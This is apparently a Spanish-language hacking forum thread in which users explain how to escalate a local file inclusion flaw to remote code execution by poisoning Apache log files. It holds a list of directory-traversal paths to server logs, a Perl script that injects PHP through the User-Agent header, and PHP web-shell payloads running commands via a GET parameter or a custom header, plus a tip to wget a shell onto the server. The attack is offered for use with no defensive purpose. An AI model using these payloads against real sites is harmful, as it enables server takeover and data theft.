LFI a RCE - Inyectando en logs

[vZor]

En este pequeño tuto explicaré como ejecutar codigo php/comandos en una web con lfi inyectando en el log.

¿Que necesitamos?

Una web con LFI
Encontrar el path al log

Procedamos

Lo primero que necesitamos saber es donde esta el log, para ello debemos ir inyectando paths por defecto hasta encontrarlo, a continuacion pongo una lista con algunos paths comunes (access log de apache, pero tambien se puede inyectar en otros logz)

Código:

../apache/logs/access.log
../../apache/logs/access.log
../../../apache/logs/access.log 
../../../../../../../etc/httpd/logs/acces_log 
../../../../../../../etc/httpd/logs/acces.log 
../../../../../../../etc/httpd/logs/error_log 
../../../../../../../etc/httpd/logs/error.log 
../../../../../../../var/www/logs/access_log 
../../../../../../../var/www/logs/access.log 
../../../../../../../usr/local/apache/logs/access_log 
../../../../../../../usr/local/apache/logs/access.log 
../../../../../../../var/log/apache/access_log 
../../../../../../../var/log/apache2/access_log 
../../../../../../../var/log/apache/access.log 
../../../../../../../var/log/apache2/access.log 
../../../../../../../var/log/access_log 
../../../../../../../var/log/access.log 

Una vez lo hemos encontrado, necesitamos inyectar nuestro codigo, lo inyectaremos en el user-agent por ejemplo, para ello podemos usar alguna extension de firefox que nos permita modificarlo, o podemos crearnos una pequeña tool:

Código:

#!/usr/bin/perl
#vZack.com

use IO::Socket;

$pag=$'pagina.com';
$peticion ="GET / HTTP/1.1\nHost: $pag\nUser-Agent: <? phpinfo(); ?>\nConnection: Close\n\n";
$socket=new IO::Socket::INET(PeerAddr=>$pag, PeerPort=>80, Proto=>'tcp');
print $socket $peticion;
close($socket);

Una vez inyectado abrimos la url del lfi con la path del log y vemos que el codigo php ha sido ejecutado 

Para por ejemplo ejecutar comandos, podemos inyectar:

Código:

<? system($_GET[cmd]); ?>

y ejecutamos: lfi.php?lfi=../../log&cmd=comando

Esto es todo.

Salu2

[Vengador de las Sombras]

Saludos!


El único problema es que se queda lo ejecutado en mitad de todo el log... en vez de abrir la URL con la inclusión de los logs, podemos hacer un log que contenga:

Código:

<? echo "Empieza"; system($_GET[cmd]); echo "Final"; ?>

Y te codeas un exploit en PERL que haga una petición a la URL montada con la inclusión, y que en lo que le devuelva busque la palabra "Empieza" y muestre el contenido hasta "Final", así obtenemos sólo el output de la ejecución del comando. O tambien te puedes mandar desde el mismo exploit los comandos a través de los Header, creando un log con:

Código:

<? echo "Empieza";  passthru($_SERVER[HTTP_VDLS]); echo "Final"; ?>

Y nosotros mandamos la cabecera añadiendole un VDLS: [comando]-

[vZer]

Saludos!


El único problema es que se queda lo ejecutado en mitad de todo el log... en vez de abrir la URL con la inclusión de los logs, podemos hacer un log que contenga:

Código:

<? echo "Empieza"; system($_GET[cmd]); echo "Final"; ?>

Y te codeas un exploit en PERL que haga una petición a la URL montada con la inclusión, y que en lo que le devuelva busque la palabra "Empieza" y muestre el contenido hasta "Final", así obtenemos sólo el output de la ejecución del comando. O tambien te puedes mandar desde el mismo exploit los comandos a través de los Header, creando un log con:

Código:

<? echo "Empieza";  passthru($_SERVER[HTTP_VDLS]); echo "Final"; ?>

Y nosotros mandamos la cabecera añadiendole un VDLS: [comando]-

lo peor es si hay varios mb's de logs entonces tardara bastante en mostrar el resultado del comando, lo que podemos hacer es un wget a una shell y bajarla al server, pero para eso hay que tener permisos de escritura

[vZor]

la verdad es que si hay cientos mb de log es muy incomodo abrirlo con el navegador... pero eso ya va a gusto del consumidor 


Salu2